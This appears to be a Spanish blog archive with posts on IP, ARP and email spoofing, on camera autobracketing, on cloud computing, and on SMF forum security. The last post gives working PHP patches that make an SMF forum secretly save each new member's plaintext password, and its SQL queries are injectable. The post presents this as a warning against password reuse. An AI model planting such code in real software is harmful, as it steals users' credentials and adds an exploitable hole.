Tipos de Spoofing: IP Spoofing, ARP Spoofing y Email Spoofing

1.-Introducción: ¿Qué es exactamente el Spoofing?
El IP (Internet Protocol) Spoofing (Suplantación) consiste básicamente en el engaño mediante alguna técnica de una lo que queramos suplantar, a cualquier tipo de receptor. Este concepto apareció originariamente debido a la necesidad que tenían los delincuentes de ocultar su rastro de internet, al igual que, fuera de internet, actualmente los delincuentes usan técnicas para tratar de no ser descubiertos. La primera vez que se usó el término de ‘Spoofing’ se remonta a los años ochenta, por Robert Morris, creador del primer gusano de internet.

2.-IP Spoofing
Para poder hablar acerca del IP Spoofing debemos de tener unos mínimos conocimientos acerca del funcionamiento de los protocolos TCP/IP, encargados de la transmisión de datos entre ordenadores.

2.1.-¿Para qué se usa?
El principal uso que se le da al IP Spoofing es para la realización de ataques DoS, los cuales se basan en inundar de paquetes un servidor para intentar saturarlo y que no pueda recibir más. Para el atacante tiene dos ventajas respecto este ataque. El primero de ellos es la ocultación de su propia identidad para que no le descubran. El segundo, es poder enviar paquetes con distintas direcciones de origen para que al receptor le resulte más difícil defenderse.
Otro objetivo menos común, puede ser el conseguir loguearse en un sistema de autentificación basado en las direcciones IP. Resultaría bastante difícil encontrar alguno entre ordenadores alejados (físicamente hablando) y además, para poder realizarlo deberíamos ser capaces de modificar miles de paquetes a la vez. Por otro lado, es más frecuente encontrarlo en redes locales (como las existentes en oficinas), la cual nos permitirían loguearnos sin un usuario y contraseña, solo mediante la IP del tipo 192.168.XXX.XXX
Otro último uso que se le puede dar al IP Spoofing, es el engaño a servidores que tienen censurado o limitado su contenido dependiendo del país del visitante. Para esto último es muy frecuente usar proxies que nos aseguran el mismo resultado.

2.2.-Protocolos TCP/IP
El protocolo IP, es un protocolo de transferencia débil (hablando en términos de seguridad), ya que una vez completada la transferencia, no tenemos conocimiento del estado de transacción de los datos. Lo entenderemos mejor si vemos y explicamos un poco su cabecera:

Por otra parte, el protocolo TCP, usa conexión orientada al diseño. Esto es debido a que su conexión (mucho más segura que la del protocolo IP) se asegura, entre otras cosas, del establecimiento de la conexión entre el emisor y el receptor en 3 etapas distintas:
-En primer lugar, el cliente envía al servidor un paquete SYN.
-Después, el servidor revisa si el puerto correspondiente se encuentra abierto o cerrado. En el caso de encontrarse cerrado, el servidor envía un paquete de respuesta rechazando la conexión. En el caso de que se encuentre abierto, el servidor envía un paquete de respuesta SYN/ACK.
-Finalmente, cuando el emisor recibe la respuesta afirmativa con el paquete SYN/ACK, éste envía al receptor un paquete ACK completando así el establecimiento de conexión.

Hasta aquí, encontramos la primera diferencia con respecto el protocolo IP, que este último no usa ningún sistema como tal, para establecer una conexión correcta con el servidor.

Por último, mencionar también que el protocolo TCP también es el encargado de reordenar los paquetes de la transferencia, detectar errores, paquetes duplicados y múltiples cosas más que podemos ver en la cabecera de este protocolo.

Para concluir con esta parte, solo me queda por decir, que el funcionamiento de una transferencia de datos tiene el siguiente orden: primero, las aplicaciones traspasan los datos a la capa TCP. TCP divide los datos y añade a cada segmento su cabecera. Después, se pasa a la capa IP, donde a través de la red, llega a la capa TCP de destino. Aquí, TCP comprueba que no se ha perdido ningún elemento y que todo está en orden. Finalmente, desde esta última capa TCP del receptor, se envía al emisor un paquete que confirma la perfecta llegada de los datos.

2.2.-Seguridad al respecto y anotaciones
El IP Spoofing fue un problema importante hace unos años, sin embargo a día de hoy es más complicado realizar esta práctica, debido a que los routers modernos bloquean la salida de paquetes con dirección de origen falsa. A pesar de ello existen medidas para protegernos contra cualquier posible amenaza relacionada con el Spoofing.
La creación de filtros de entrada y salida en los routers pueden ayudar a combatir esta amenaza. Configurando una lista de control de acceso (ACL) y restringiendo el rango de IPs privadas, ya que es común que el origen suplantado en la transferencia de paquetes de los ataques de Spoofing sean direcciones de IP locales, con lo que fácilmente podrían atravesar el firewall.

3.-ARP Spoofing
El protocolo ARP, protocolo de resolución de direcciones, nace de la necesidad existente de traducir la dirección IP en la dirección MAC, para que, entre equipo y router, puedan transmitir paquetes (ya que no se podrían entender entre ambos).
Para entender cómo se produce el Spoofing sobre el protocolo ARP, me limitaré primeramente a explicar cómo funciona el protocolo ARP encargado que existe entre la conexión de un portátil y un router.
El portátil manda paquetes (ARP request) con la dirección a la que se lo quiere enviar. Los ordenadores que no sean los receptores desecharán este paquete, y cuando el receptor objetivo (router) ha recibido esta petición, manda una respuesta (ARP reply). Una vez relacionadas, el portátil puede acceder a internet mandando maquetes a la MAC del router. Esta relación se guarda en la caché de las máquinas, en una tabla denominada, tabla ARP.
El ARP Spoofing se basa sencillamente, en el engaño de un terminal con conexión inalámbrica, al que hacemos creer que la MAC del router al que envía los paquetes, es otra inexistente, por lo que, los paquetes que envía el terminal se pierden y no llegan al router (desconexión de internet). Por otra parte, se le puede enviar a este terminal que quiere acceder a internet, un paquete para que piense que la MAC de una tercer máquina (equipo atacante) sea la del router (este proceso es posible, debido a que el protocolo ARP puede recibir respuestas (reply) sin emitir preguntas (request)), y así, la máquina víctima estaría enviando paquetes al atacante, mientras este decide si solamente quiero verlos y reenviarlos al router, o incluso si el atacante quiere modificarlos para posteriormente enviarlos al router, lo que nos permite la redirección de equipos a una página antes de permitirles el acceso a la red.
La tabla ARP de la que hablábamos antes la podemos visualizar en la consola de Windows con la línea “arp –a”. A continuación veremos su funcionamiento de un modo práctico.

3.1.-Defensas
El uso de tablas ARP estáticas nos permitiría no generar esa caché que es vulnerable de ser suplantada. Para ello, desde la consola de Windows escribimos: arp –s [IP] [MAC]. NOTA: la dirección MAC se tiene que escribir de la siguiente forma 00-11-22-33-44-55.

Otro método que se podría usar, sería el RARP, protocolo usado para consultar a partir de una dirección MAC su dirección IP correspondiente. De tal manera que si el RARP devuelve más de una dirección IP, significa que esa dirección MAC ha sido clonada.
Mencionar un último método, que sería el reconocimiento de cualquier cambio en las tablas ARP mediante programas como ArpWatch.

3.2.-Herramientas
Existen diversas herramientas que nos permiten realizar el ARP Spoofing, quizás unas de las más famosas sea ettercap, la cual nos ayuda a realizar un posterior Man In the Middle (esto nos permite “escuchar” lo que un terminal manda a un router)

4.-Email Spoofing
Este es sin duda el más sencillo de entender. Simplemente se basa en la suplantación de una dirección de correo, en la que suelen tener diversos objetivos, como el phising (por ejemplo, pueden intentar suplantar el email de una página web importante como puede ser paypal y nos mandan a una web falsa para que pongamos los datos y el atacante reciba la información) pero en general, mediante la ingeniería social pueden intentar sacar diversa información a la víctima.

4.1.-Defensas
El método más eficaz y fácil para defenderse frente al Email Spoofing es comparar la IP del email recibido con la IP del servicio que intentan suplantar.

4.2.-¿Cómo se realiza?
Existen diversas maneras para realizar correctamente esta práctica. Una de ellas, sería montarse un servidor de correo casero y usarlo para mandar emails, pudiendo modificar configuraciones que nos permitirían esta suplantación. Otra sería mediante telnet usando un servidor de correo de alguna página en la que nos permita hacerlo y el cual hay cientos de tutoriales circulando por internet. Pero el método que considero más fácil sería directamente hacerlo con un script en PHP, el cual mediante la función mail (más información: http://php.net/manual/en/function.mail.php) nos permite configurar el correo emisor (correo spoofeado), el correo receptor (víctima), el cuerpo del mensaje, el asunto, un correo de copia oculta, etc.

4.3.-Anotación
Primeramente me gustaría recordar que la suplantación de identidad de una persona está totalmente penada por la ley. Puede parecer antiguo, pero todo lo contrario, a día de hoy se siguen intentando spoofear páginas importantes. Sin ir más lejos, en mi caso personal recibo emails de supuestamente paypal, pidiéndome datos (por correo) bastante importantes, y aquí adjunto una foto del susodicho email.

Listado de cámaras con autobracketing u horquillado automático

Encontré en esta web un listado bastante completo de cámaras que tienen autobracketing, traducido al español como horquillado automático.

El autobracketing, nos permite obtener fotos de manera automática con distinta apertura del diafragma de la lente. Cuanto más cerrado esté, menos luz entra y más oscura se ve la foto, y viceversa.

Esto, cada vez se usa con mayor frecuencia para obtener imágenes HDR (high dynamic range). Para ello, tenemos que obtener exáctamente la misma foto con distintos valores de apertura del diafragma. Luego las juntamos con algún tipo de software como el Photoshop de Adobe, y el resultado es esa imagen, con un balance de colores impresionante.

Aquí tenemos un ejemplo:

Podemos realizar imágenes HDR sin necesidad de una cámara con autobracketing, pero teniendo una facilita muchísimo las cosas. Y aquí dejo la lista:

Camera Model Auto-bracketed frames Maximum EV step Maximum EV range with AEB Maximum burst rate
Canon 1D MKII / MKII N 3, 5 or 7 3 18 8.5 fps
Canon 1D MKIII 2, 3, 5 or 7 3 18 10 fps
Canon 1D MKIV 2, 3, 5 or 7 3 18 10 fps
Canon 1Ds MKII 2, 3, 5 or 7 3 18 4 fps
Canon 1Ds MKIII 2, 3, 5 or 7 3 18 5 fps
Canon 5D 3 2 4 3 fps
Canon 5D Mark II 3 2 4 3.9 fps
Canon 7D 3 3 6 8 fps
Canon 10D 3 2 4 3 fps
Canon 20D 3 2 4 5 fps
Canon 30D 3 2 4 5 fps
Canon 40D 3 2 4 6.5 fps
Canon 50D 3 2 4 6.3 fps
Canon 300D / Digital Rebel 3 2 4 2.5 fps
Canon 350D / Digital Rebel XT 3 2 4 3 fps
Canon 400D / Digital Rebel XTi 3 2 4 3 fps
Canon 450D / Digital Rebel XSi 3 2 4 3.5 fps
Canon 500D / Digital Rebel T1i 3 2 4 3.4 fps
Canon 550D / Digital Rebel T2i 3 2 4 3.7 fps
Canon 1000D (Rebel XS) 3 2 4 3 fps
Canon 2000D (from submitted info, may be incorrect) 3 1 2 6 fps
Canon D30 / D60 3 2 4 3 fps
Canon EOS 1V Film 3 3 6 6 fps
Canon Powershot A350 3 1 2 0.9 fps
Canon Powershot G1/G2 3 2 4  
Canon Powershot G3/G5/G6 3 2 4  
Canon PowerShot G7 3 2 4 2 fps
Canon PowerShot G9/G10 3 2 4 1.5 fps
Canon PowerShot G11 3 2 4  
Canon PowerShot Pro1 3 2 4 2.5 fps
Canon PowerShot S2/S3/S5 IS 3 2 4 2.5 fps
Canon PowerShot S45 3 2 4 3 fps
Canon PowerShot S50 3 2 4 2 fps
Canon Powershot S70/S80 3 2 4  
Canon Powershot S90 3 2 4 0.9 fps
Canon PowerShot SX1 IS 3 2 4 4 fps
Canon PowerShot SX10 IS 3 2 4 1.4 fps
Canon Power Shot SX20 IS 3 1 1/3 2 2/3  
   
Casio EX-F1 3 or 5 2 or 1 4 60 fps
   
Contax 167MT 3 1.5 3 3 fps
Contax Aria 3 1 2 3 fps
Contax G1 3 1 2 2 fps
Contax TVS Digital 3 1 2 3 fps
   
Fuji FinePix E550 3 1 2  
Fuji FinePix E900 3 1 2 2 fps
Fuji FinePix F810 3 1 2 10 fps
Fuji FinePix HS10 3 1 2  
Fuji FinePix S100FS 3 1 2 3 fps
Fuji FinePix S200EXR 3 1 2 3 fps
Fuji FinePix S1000fd 3 1 2  
Fuji FinePix S1500 3 1 2 1.4 fps
Fuji Finepix S2700 3 1 2  
Fuji FinePix S5000/S5500 3 1 2 3 fps
Fuji FinePix S5600/S5700 3 1 2 1.4
Fuji FinePix S5800 3 1 2 0.8
Fuji FinePix S6000fd/S6500fd 3 1 2 1.5 fps
Fuji Finepix S7000 3 1 2  
Fuji FinePix s8000fd 3 1 2  
Fuji FinePix S9100/S9600 3 1 2 1.5 fps
Fuji IS-1 3 1 2 1.5 fps
Fuji S2 Pro 3 1 2 2 fps
Fuji S3Pro 2 or 3 2 4 2.5 fps
Fuji S5 Pro 2 to 9 1 8 3 fps
   
Kodak 7590DX/Z7590 3 1 2  
Kodak 7630DX 3 1 2  
Kodak DCS Pro SLR/c 3 3 6 1.66 fps
Kodak DCS Pro SLR/n 3 2 4 1.7 fps
Kodak DX7440 3 1 2 3.2 fps
Kodak C643 3 1 2  
Kodak C875 3 1 2 1.5 fps
Kodak Z612 / Z712 3 1 2 2 fps
Kodak Z760 3 1 2  
Kodak Z885/Z8612/Z1285 3 1 2  
Kodak Z812 IS 3 1 2 3 fps
Kodak Z1012 IS 3 1 2 1.6 fps
Kodak Z1015 IS 3 1 2 2.1 fps
Kodak z950 3 1 2 1.5 fps
Kodak P712 3 or 5 1 4 1.6 fps
Kodak P880 3 or 5 1 4 2.3 fps
   
Konica Minolta 5D 3 0.7 1.4 3 fps
Konica Minolta 7D 3 or 5 0.5 2 3 fps
Minolta Dimage A1 3 0.5 1.5 2.8 fps
Konica Minolta A200 3 1 2  
Konica Minolta Dimage 7i 3 1 2  
Konica Minolta Dimage Z3/Z6/Z10 3 1 2 3 fps
Minolta S414 3 1 2 3 fps
   
Leica D-LUX 3 3 1 2 3 fps
Leica D-LUX 4 (firmware 2.2) 3 3 6 2.5 fps
Leica M9 5 (2 EV) or 7 (1 EV) 2 8 2 fps
Leica X1 3 3 6 3 fps
   
Mamiya 645 AFD III 3 1 2  
   
Nikon D100 2 to 3 1 2 3 fps
Nikon D200 2 to 9 1 8 5 fps
Nikon D300 2 to 9 1 8 6 or 8 fps
Nikon D300s 2 to 9 1 8 8 or 9 fps
Nikon D700 2 to 9 1 8 8 fps
Nikon D2H 2 to 9 1 8 8 fps
Nikon D2X/D2Xs 2 to 9 1 8 5 fps (8 cropped)
Nikon D3 / D3s 2 to 9 1 8 9 fps (11 in DX mode)
Nikon D3X 2 to 9 1 8 5 fps (7 in DX mode)
Nikon D50 3 2 4 2.5 fps
Nikon D70 2 or 3 2 4 1 fps
Nikon D80 2 or 3 2 4 3 fps
Nikon D90 2 or 3 2 4 4.5 fps
Nikon D5000 3 2 4 4 fps
Nikon Coolpix E4500 3 or 5 1 4 1.3 fps
Nikon Coolpix 5400 3 or 5 1 4 1.25 fps
Nikon Coolpix E5000 3 or 5 2 8 3 fps
Nikon 5700 3 or 5 1 4 3 fps
Nikon Coolpix P4 3 1/2 1 0.5 fps
Nikon Coolpix P90 3 1 2 3.5 fps
Nikon Coolpix P100 3 1 2  
Nikon Coolpix P5000/P5100 3 1 2 1 fps
Nikon Coolpix P6000 3 1 2  
Nikon 8080 3 or 5 1 4 1.6 fps
Nikon 8400 3 or 5 1 4 2.3 fps
Nikon 8700 3 or 5 1 4 2.3 fps
Nikon 8800 3 or 5 1 4 2.3 fps
   
Olympus C2100 Ultra Zoom 3 or 5 1 4 1.7 fps
Olympus C5050 Zoom 3 or 5 1 4  
Olympus C5060 Wide Zoom 3 or 5 1 4 3.3 fps
Olympus C730UZ 3 or 5 1 4 1 fps
Olympus C765UZ 5 1 4 3 fps
Olympus C770UZ 5 1 4  
Olympus C-8080 3 or 5 1 4  
Olympus E-1 3 or 5 1 4 3 fps
Olympus E-3 3 or 5 1 4 5 fps
Olympus E-20P 3 1 2  
Olympus E-30 3 or 5 1 4 5 fps
Olympus E-300/E-330 3 1 2 3 fps
Olympus E-400/E-410/E-420 3 1 2 3 fps
Olympus E-500 3 1 2 2 fps
Olympus E-510 3 1 2 3 fps
Olympus E-520 3 1 2 3.5 fps
Olympus E-620 3 1 2 4 fps
Olympus EP-1 3 1 2 3 fps
Olympus SP-310 3 or 5 1 4 1.5 / 2.4 fps
Olympus SP-320 3 or 5 1 4 4 fps
Olympus SP-350 3 or 5 1 4 3 fps
Olympus SP-510UZ 3 or 5 1 4 1.7 fps
Olympus SP-550UZ/SP-560UZ 3 or 5 1 4 5 fps
   
Panasonic Lumix DMC-FS6 3 1 2 3 fps
Panasonic Lumix DMC-FX3/FX30/FX33/FX500 3 1 2  
Panasonic Lumix DMC-FX150/FX180 3 1 2 2 fps
Panasonic DMC-L1 3 or 5 1 4 3 fps
Panasonic Lumix DMC-G1 / GH1 7 2/3 4 3 fps
Panasonic Lumix DMC-GF1 3, 5 or 7 2/3 4 3 fps
Panasonic Lumix DMC-G1K 3, 5 or 7 2/3 4 3 fps
Panasonic Lumix DMC-L10 3 2 4 3 fps
Panasonic Lumix DMC-LS80 3 1 2  
Panasonic Lumix DMC-LX1 3 1 2 1 fps
Panasonic Lumix DMC-LX2 3 1 2 3 fps
Panasonic Lumix DMC-LX3 3 1 2 4.5 fps
Panasonic Lumix DMC-LX3 (with firmware update) 3 3 6 4.5 fps
Panasonic DMC-LZ3/LZ4/LZ5 3 1 2 3 fps
Panasonic DMC-LZ8 3 1 2 2.5 fps
Panasonic DMC-TS1 3 1 2 2.3 fps
Panasonic DMC-TZ1/TZ3/TZ4 3 1 2 3 fps
Panasonic DMC-TZ5/TZ7 3 1 2 2.5 fps
Panasonic DMC-ZS3A 3 1 2 2.8 fps
Panasonic DMC-ZS5/ZS7 3 1 2 10 fps
Panasonic FZ-18 3 1 2 3 fps
Panasonic FZ-8/FZ-20/FZ-30 3 1 2 3 fps
Panasonic FZ-28 3 1 2 2.5 fps
Panasonic FZ35/FZ38 3 1 2 2.3 fps
Panasonic FZ5/FZ7 3 1 2 3 fps
Panasonic Lumix DMC-FZ50 3 1 2 1 fps
Panasonic Lumix DMC-FZS1 3 1 2 2 fps
   
Pentax *ist DL 3 2 4 2 fps
Pentax *ist DS2 3 2 4 3 fps
Pentax K7 3 or 5 2 8 5.2 fps
Pentax K10D 3 or 5 2 8 3 fps
Pentax K20D 3 or 5 2 8 3 fps
Pentax K100D 3 2 4 2.8 fps
Pentax K200D 3 2 4 2.8 fps
Pentax K-m / K2000 3 1.5 3 3.5 fps
Pentax K-x 3 1.5 3 4.7 fps
Pentax Optio M85 3 2 4  
   
Ricoh Caplio R6 / R7 3 0.7 1.4 3 fps
Ricoh GX100 / GX200 3 0.5 1.5 2.4 fps
   
Samsung GX-10 3 or 5 2 8 2 fps
Samsung GX-20 3 or 5 2 8 3 fps
Samsung NV3 3 0.5 1  
Samsung s850 3 0.5 1 0.8 fps
Samsung s1050 3 1/3 0.7  
Samsung TL320 3 1/3 0.7  
   
Sigma SD14 3 3 6 3 fps
Sigma DP1 / DP-1s / DP2 3 3 6 3 fps
   
Sony Alpha A-100 3 0.7 1.4 1.4 fps
Sony Alpha A-200 3 0.7 1.4 3 fps
Sony Alpha A-300 3 0.7 1.4 3.5 fps
Sony Alpha A-350 3 0.7 1.4 3.5 fps
Sony Alpha A-350 3 0.7 1.4 3.5 fps
Sony Alpha A-380 3 0.7 1.4 2.5 fps
Sony Alpha A-500 3 2/3 1.4  
Sony Alpha A-550 3 2/3 1.4 9 fps
Sony Alpha A-700 3 or 5 0.7 2.7 5 fps
Sony Alpha A-700 – V4 firmware 3 or 5 2 (with 3 frames) 4 5 fps
Sony Alpha A-850 3 2 4 3 fps
Sony Alpha A-900 3 2 4 5 fps
Sony DSC-828 3 1 2  
Sony DSC-F707 3 1 2 0.5 fps
Sony DSC-F717 3 1 2 3 fps
Sony DSC-H1 3 1 2 1.25 fps
Sony DSC-H2 3 1 2 0.8 fps
Sony DSC-H5 3 1 2 0.9 fps
Sony DSC-H7 3 1 2 2.2 fps
Sony DSC-H9 3 1 2 2.2 fps
Sony DSC-H10 3 1 2  
Sony DSC-H50 3 1 2 1.6 fps
Sony DSC-H20 3 1 2 1.8 fps
Sony DSC-HX1 3 1 2 10 fps
Sony DSC-HX5V 3 1 2 10 fps
Sony DSC-N1 3 1 2  
Sony DSC-R1 3 1 2 3 fps
Sony DSC-R2 9 1 8 5 fps
Sony DSC-V1 3 1 2 2 fps
Sony DSC-V3 3 1 2  
Sony DSC-T100 3 1 2  
Sony DSC-T200 3 1 2 2 fps
Sony DSC-T33 3 1 2  
Sony DSC-T7/DSC-T9 3 1 2 1.25 fps
Sony DSC W2 3 1 2  
Sony DSC W80 3 1 2  
Sony W90 3 1 2  
Sony DSC-W150 3 1 2 1.5 fps
Sony DSC-W170 / W290 3 1 2  
   
Traveler DC-X5 3 0.7 1.4  

Cloud Computing – Computación en la Nube

La computación en la nube, es un tipo de computación o modelo basado en la compartición de recursos y datos a través de internet.

Se podría dividir en varias capas:
El cliente: es el terminal (conjunto de hardware y software) que accede y confia en el sistema cloud computing suministrado por un proveedor.

El SaaS (Software as a Service, Software como un servicio): elimina la necesidad de tener que instalar y correr aplicaciones en un ordenador. Usa un software como un servicio a través de internet. Un ejemplo de este servicio podría ser Google Docs (aunque en general, Google Apps) ya que podemos usar un editor de texto sin tener que instalar nada en nuestros ordenadores.

El PaaS (Platform as a Service, Plataforma como un servicio): es un ambiente de desarrollo, que consiste en un software básico con una base de datos y herramientas de desarrollo. Un ejemplo sería Google AppEngine, que está basado en Python y Java.

El IaaS (Infrasctructure as a Service, Infraestructura como un servicio): en vez de tener que comprar servidores, software, espacio (discos duros), y equipamiento, los clientes alquilan estos servicios. Además, el empresario puede elegir quien quiere que sea su proveedor (lo cual quiere decir que existirá competencia en el mercado). Como ejemplo de almacenamiento, tenemos los servicios de servidores de almacenamiento online, como Megaupload o Rapidshare, y como ayuda o mantenimiento, dispondriamos de una ayuda online las 24 horas (aunque esto depende del proveedor) sin tener que contratar a un servicio especializado por nuestra cuenta. También eliminaría le necesidad de mantener el hardware y software de la empresa (que siempre tiene que estar actualizado)


Esquema de las capas

La computación en la nube reduce los costes de las empresas y el presupuesto que necesita cada una para ser desarrollada (lo que aumentaría el número de empresas). Por un lado, el empresario necesitaría menos expertos cualificados en temas como aplicaciones (por falta de tales), seguridad, mantenimiento o administración, ya que en todo momento dispondría de un servicio técnico totalmente gratis (contratando los servicios).

Otro efecto considerable, sería el descenso de programadores (orientados a desarrollar aplicaciones) que necesitarían las empresas. Esto, por el lado de las empresas es bueno ya que reduce los costes, pero por el lado de los programadores es sin duda malo, debido a que reduciría la demanda de sus servicios, que a su vez generaría un abaratamiento de estos (lo cual vuelve a ser bueno para las empresas que los quieran contratar).

Como dije anteriormente en la descripción de las capas, no serían necesarias la creación de aplicaciones personalizadas, ya que estas aplicaciones son online, a las cuales accederían las empresas mediante una subscripción (mensual, anual..). Es interesante pararnos en este último punto. A la larga, para las empresas grandes, importantes y que llevan muchos años en el mercado, puede ser una desventaja, ya que seguramente a lo largo de los años, pagarían más por esa subscripción, que a un grupo de programadores para realizar la aplicación que quieran. Sin embargo, para las empresas que están empezando, es algo bastante positivo, porque la inversión es mínima comparado con el hecho de tener que comprar la aplicación o contratar a un grupo de programadores para crearla.

Aumentaría desde luego, la rapidez con la que las empresas adquieren y usan las aplicaciones, ya que al ser una subscripción, las aplicaciones se mantendrían online y quedarían a expensas de la personalización (a partir de un estandar) que cada empresa quiera realizar sobre esta. Al ser aplicaciones online, también aumenta la facilidad con la que podriamos generar reportes.

Otra pesadilla de todo empresario que dispone de una aplicación es la actualización de la misma, ya que muchas de ellas, requerirían tener que usar una base de datos desde cero, es decir, que se perderían los datos ya guardados. Con Cloud Computing este problema quedaría solventado ya que asegura mantener los datos ya guardados.

Sin embargo, a pesar de todas estas ventajas, la computación en la nube también dispone de varias desventajas, sobre todo al sector de los expertos.

Por un lado, está el problema de la privacidad y almacenamiento de datos. Cuando un empresario o propietario guarda datos en su base de datos, como los de los clientes propios, con datos muy personales como nombres, apellidos, teléfonos y direcciones, estos datos quedan en propiedad de este dueño. Sin embargo, con Cloud Computing, además de conocer estos datos el dueño, los conocería también la empresa encargada de proporcionarles servicios (como almacenamiento) a este empresario, es decir, que estos propietarios que alquilan los servicios a una empresa de Cloud Computing dejan su información a sus proveedores.

Otro tema bastante serio, es el comentado anteriormente. La demanda de expertos en ámbitos de seguridad, mantenimiento y aplicaciones por parte de las empresas decaería sustancialmente.

Como SaaS, tenemos de ejemplo a SalesForce.com, la cual nos deja un video muy completo y sencillo de entender, en el que comprenderemos la función de esta empresa:

(In)seguridad en los foros [SMF]

Los foros de la gente de simplemachines son de los más usados actualmente. No me extrañaría que fuese por la combinación diseño-características-gratis que reune este tipo de foros. Pero, ¿que hay de la seguridad?

Actualmente, la gran mayoria de personas asegura que usa la misma contraseña para todo (correo, registros de foros, y otras cuentas de mayor importancia como eBay o Paypal/Alertpay, etc) debido a la dificultad que supone tener que cuidar y guardar las diferentes contraseñas. Sin embargo, a pesar de esta incomodidad, la seguridad siempre debería de ser lo primordial para el usuario, sobre todo para el más inexperto (osease, la inmensa mayoria de usuarios).

Cuando instalamos en un servidor un foro (en este caso del tipo SMF) lo primero que hace es mirar la base de datos, y crear allí un registro, en donde a lo largo de la vida del foro se guardarán los posts, los subforos, las configuraciones, y los datos de los usuarios.

¿Los datos de los usuarios? Si. Esto es, los datos que tenemos en nuestro perfil del foro, como el avatar, el nickname, el nombre, la fecha de nacimiento, la firma, y la contraseña.

El administrador de cualquier foro puede acceder a la base de datos y ver/modificar/eliminar cualquiera de los datos anteriormente citados. Simplemachines piensa en todo (al igual que todos las empresas de ese estilo) y la mejor solución que le pone a esto es, encriptar la “contraseña”. Le pongo comillas, porque en realidad, no se guarda la contraseña, sino que se guarda un hash, generado mediante el nombre de usuario y contraseña. Esto quiere decir que, cuando nos registramos, se guarda en la base de datos la encriptación mediante SHA1 del nombre de usuario junto con la contraseña.

Por ejemplo, si me registro, y pongo de usuario lipman y de contraseña password, en la base de datos se guarda la encriptación de lipmanpassword, de la siguiente simple manera:

sha1($nombreUsuario . $password)

Por lo que, cuando un administrador acceda a la base de datos, le será imposible obtener la contraseña de ese usuario. La única solución seria desencriptarlo mediante fuerza bruta, pero descartamos esta opción debido al inmenso tiempo que se tomaria.

¿Quiere decir esto que nuestra contraseña está a salvo?
Absolutamente no.

Se podrían hacer cientos de métodos distintos e incluso combinarlos, para averiguar las contraseñas de los usuarios que se registren. El más sencillo que se me ocurre es: justo al registrarse un usuario, guardar en la base de datos su contraseña sin encriptar. A continuación describiré cómo se podría realizar.

Lo primero de todo, tenemos que crear en la base de datos la columna en la que guardaremos estas contraseñas sin encriptar:

Index.php (introducido justo antes de $forum_version…)

if(!$var = fopen('lol', 'r+'))
{
include("Settings.php");
echo "No preocuparse si sale algún error. Este mensaje no volverá a aparecer.";
mysql_connect($db_server, $db_user, $db_passwd) or die("Error al conectar a la BD");
$consulta = "ALTER TABLE `$db_name`.`smf_members` ADD COLUMN `pwdlol` TEXT AFTER `memberName`;";
$resultado = mysql_query($consulta) or die("LOL");
fopen("lol", 'a+');
}

Queremos que este código se ejecute una sola vez, por eso, este código se encarga de buscar un archivo que no deberia de existir, y si no lo encuentra, realiza esa alteración en la base de datos y posteriormente lo crea (para que lo encuentre y no se ejecute esto nada más que una sola vez)

Las variables $db_server, $db_user, $db_name y $db_passwd son variables que contienen, como propiamente dan a indicar, el nombre del servidor, de usuario, de la base de datos y la contraseña respectivamente. Ya se encuentran con los valores, ya que estos se guardan en Settings.php

La línea interesante es la sexta: $consulta = “ALTER TABLE `$db_name`.`smf_members` ADD COLUMN `pwdlol` TEXT AFTER `memberName`;”;

Esto crea en la tabla smf_members una columna llamada pwdlol después de la columna memberName (así tendremos la contraseña al lado del usuario, por comodidad)

Sigamos…

Sources/Register.php (introducido a partir de la línea 304)

$contrasenha = $_POST['passwrd1'];
$miembrouser = $_POST['user'];

$consulta = "UPDATE smf_members SET pwdlol = '$contrasenha' WHERE memberName = '$miembrouser'";
$resultado = mysql_query($consulta) or die("Error realizando la consulta");

Este código simplemente guarda en las variables $contrasenha y $miembrouser la contraseña y el nombre de usuario (todo sin encriptar) y luego, introduce la contraseña en la tabla de pwdlol, en donde el memberName sea el mismo que el miembro registrado.

Preocupamente tengo que decir: ya está. Así de simple es obtener la contraseña de cada usuario que se registre en tu propio foro SMF.

¿Es esto preocupante? Personalmente, solo espero que cada vez que os registreis en un foro la próxima vez, penseis en ponerle otra contraseña que la de vuestro correo.

Próximo análisis: PhpBB